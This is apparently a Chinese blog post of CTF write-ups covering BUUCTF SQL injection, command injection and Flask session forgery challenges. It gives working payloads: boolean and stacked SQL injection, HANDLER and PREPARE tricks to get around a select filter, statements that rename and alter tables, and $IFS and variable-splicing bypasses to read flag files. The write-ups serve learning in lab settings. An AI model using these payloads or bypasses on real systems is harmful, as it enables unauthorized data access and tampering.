BUUCTF

本文最后更新于:10 个月前

EasySql

先用用户名:1 密码:1’ 测试注入,页面报错,可能存在注入点,并且是字符型。

密码传入***1’ order by 4 #***时报错,判断出数据库有三个字段。

准备爆数据库名,二分法传入***1’ or (ascii(substr(database(),0,1))<128)#***,结果直接拿到了flag。

题后反思:因为传入***1’ or (ascii(substr(database(),0,1))<128)#*导致后端查询语句变成select * from 数据库名 where username = ‘1’ and pasword =’1’ or (ascii(substr(database(),0,1))<128)#’***因为and优先级高于or,于是整个句子变成了两个部分:

select * from 数据库名 where username = ‘1’ and pasword =’1’

or (ascii(substr(database(),0,1))<128)#’

虽然用户名密码判断是错的,但是数据库名的第一个字符的ascii码确实小于128,为真,二者用or相连,返回为true,故登陆成功获取到flag;

但是这样做实际上是走弯路了,这道题布尔盲注不是最优解,实际上直接构造密码为***1’ or 1=1#***在原理上是和上面误打误撞拿到flag是一样的,但是少走了很多弯路。


easy_sql

先传入1,返回一个字符串,传入1’,报错

可能存在sql注入,并且是字符型的。传入***’ order by 4#***,报错。

传入***’ order by 3#,报错。传入‘ order by 2#***不报错,判断表里有2个字段。

联合查询尝试失败,select被ban。尝试构造无字母数字的语句。编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$var = 's';//依次将s改为e,l,e,c,t
for($i=0;$i<256;$i++){
for($j=0;$j<256;$j++){
if(chr($i^$j)==$var){
echo (urlencode(chr($i))."^".urlencode(chr($j)));
echo "\n";
}
}
}
?>

得到select,尝试能否绕过

1
('%5D'^'.').('H'^'-').('%5D'^'1').('H'^'-').('_'^'%3C').('_'^'%2B')

还是没绕过,暂时放弃这条路。

查找学习show databases爆数据库名。

show tables爆表名,好臭的表名啊(。

‘; show columns from `1919810931114514`;#爆字段名(表名要用反引号引起来)

万事俱备,只欠select,直接select不行,去查找能代替select的,果不其然,找到了handler语句。

1
handler [表名] open;#打开表(句柄)
1
2
handler [表名] read first;#从表的第一列开始读(指针的起点)
handler [表名] read next;#指针往后一位,读取数据(参考资料https://blog.csdn.net/JesseYoung/article/details/40785137)

最终构造payload:

1
';handler `1919810931114514` open;handler `1919810931114514` read first;#

拿到flag。

反思:除了上面的方法寻找mysql中的其他查询语句外,看了大佬们的wp后学到了更多的思路和相关知识,这道题还可以通过预编译得到flag。

预编译相关语法:

1
2
3
set : #设置变量;
prepare : #准备一个语句赋予其名称,之后直接调用语句;
execute :#执行语句;

以及一个mysql语句concat(str1,str2),将str1与str2连接起来返回连接后的字符串;或者mysql的hex()函数把语句变成十六进制同样可以绕过select的过滤。

步骤如下:

1
set @abc=concat("selec","t * from `1919810931114514`");#创建一个变量@abc为字符串"select * from `1919810931114514`"
1
prepare sel from @abc;#预备一个语句sel,内容是@abc,也就是"select * from `1919810931114514`"
1
execute sel;#执行sel语句;

构造

1
';set @abc=concat("selec","t * from `1919810931114514`");prepare sel from @abc;execute sel;

然后提示set被ban了,但是用的是strstr(),区分大小写,所以大写绕过

1
';Set @abc=concat("selec","t * from `1919810931114514`");prepare sel from @abc;execute sel;

十六进制绕过的步骤如下:

打开mysql命令行输入

1
select hex("select * from `191981096114514`");

得到一串十六进制字符串。

构造预处理语句:

1
set @abc=73656C656374202A2066726F6D206031393139383130393631313435313460;prepare sel from @abc;execute sel;

set同样大写绕过,payload:

1
2
1';Set @abc=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;Prepare sel from @abc;execute sel;#
(上面的图里应该是191981093114514打错了,最终结果应该是上面这行代码//到底是谁起的这个名字啊啊啊啊啊)

GET到flag;

另外一种思路,从最开始看到题目的时候就在想直接输入1回显的数组是来自哪里的呢,但是最开始做的时候爆了191981093114514表就没爆words表的字段名了,因为191981093114514表里只有一个元素,所以推测回显内容是words表里的,爆words字段名

1
';show columns from `words`;#

推测回显内容来自于data字段;

思路就是把words表改名为其他的名字,191981093114514改名为words,把其中的flag字段改名为id(或者在xinwords表里增加一列id),最后传入***1’ or 1=1#***使查询结果为true爆出words所有字段内容。

相关语句如下:

1
2
3
4
5
alter table [表名] add [字段名] int(***)/varchar(***) #增加列
alter table [表名] drop [字段名]#删除列
alter table [表名] change [字段名] [新字段名] int(***)/varchar(***)#重命名字段
alter table [表名] rename to [新表名]#重命名表,to可省略
rename table [表名] to [新表名]#重命名表

payload1:

1
1';rename table words to word;rename table `1919810931114514` to words;alter table words add id int(3);##新增一列id

payload2:

1
2
1';rename table words to word;rename table `1919810931114514` to words;alter table words change flag id varchar(50);#
#修改flag字段名为id

PingPingPing

做这道题时想到前面做过的另外一题(新生赛exec)。总结了以下联合执行的符号作用:

1
2
3
4
p1;p2:"先执行p1后执行p2;
p1|p2:p1的输出作为p2的输入,只显示p2的结果;
p1||p2:若p1为假则执行p2,为真停止执行;
p1&&p2:若p1为真则执行p2,为假停止执行;

传入

1
?ip=| ls

说实话一开始没反应过来space是空格的意思就没想着空格被过滤了(,单纯以为是表达错误不需要空格然后把空格删掉发现可以执行,直到下面cat命令没法正常执行时才反应过来是空格被ban了(。

提示空格被ban了,传入

1
?ip=|ls

或者

1
?ip=;ls

回显提示目录里有flag.php和index.php

直接

1
?ip=|cat flag.php

然后提示空格被ban了。参考了大佬们的博客,大佬总结了以下几点绕过空格的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)
#来自大佬博客:https://blog.csdn.net/vanarrow/article/details/108295481

逐一试下来发现$IFS$1是可行的但是提示flag被ban了(悲)

既然看不了flag又不知道过滤规则,反正还有个index.php能看

1
?ip=|cat$IFS$1index.php

密密麻麻的这么多都被过滤了,括号引号星号全员过滤。。。想起之前从学长那里学来的星号绕过,也不能用了,没有头绪的时候。

正巧刚刚在学习绕过空格过滤的时候看到一篇博客,https://www.cnblogs.com/GLory-LTF/p/15359485.html。里面有讲到如果cat字符被ban了但是非得用cat命令,这里介绍了一种命令拼接绕过(记小本本)。

理论知道了,开始实践

嗯。。属于是学了点知识不会灵活变通了,再次求助大佬,给出的payload是

1
?ip=;a=g;cat$IFS$1fla$a.php

又有收获了,拼接绕过不一定要每个字母都拼接,看着这个payload有个想法,如果把$a的位置在flag四个位置改变会怎么样。实践。

替换字符f的位置

替换字符l的位置

替换字符a的位置

看来只有g的位置可以。然后注意到$a是代码中原有的变量,如果构造payload时用的是b变量会怎么样呢

也是可行的

[HCTF 2018]admin 1

记一次flask的session伪造:

先是发现admin用户被注册了,注册登陆界面经测试均不存在sql注入,先随便注册一个用户看看:

挨个页面去检索信息,最后在修改密码的页面的源码中发现了网站项目的代码:

现在做发现已经仓库404了(悲)

总而言之就是在flask在设置session时只是进行了简单的签名,然后放在前端的cookie中,

Flask中的Session,它是存在于客户端的,也就是说我们在进行登录过后可以看到自己的Session值,而当我们对这个Session值进行base64解码后,就可以读取它的具体内容。 对应Flask,它在生成session时会使用app.config[‘SECRET_KEY’]中的值作为salt对session进行一个简单处理,那么这里的话,只要key不泄露,我们就只能得到具体内容,但是无法修改具体内容,因此这个时候就引发了一个问题,当key泄露的时候,就出现了内容伪造的情况,比如具体内容为{‘name’:’123’},而当我们掌握key时,可修改内容为{‘name’:’admin’}

这道题其实就是在源码中没有把敏感数据去除导致secret_key泄露,去网上找大家的secret_key:”ckj123”

从cookie获取session:

用flask session工具解个码:

用法参考:https://github.com/noraj/flask-session-cookie-manager

改成admin重新生成一下session:

修改cookie:

另外此题也有其他具有参考意义的两种解法,unicode欺诈还有条件竞争:

https://www.anquanke.com/post/id/164086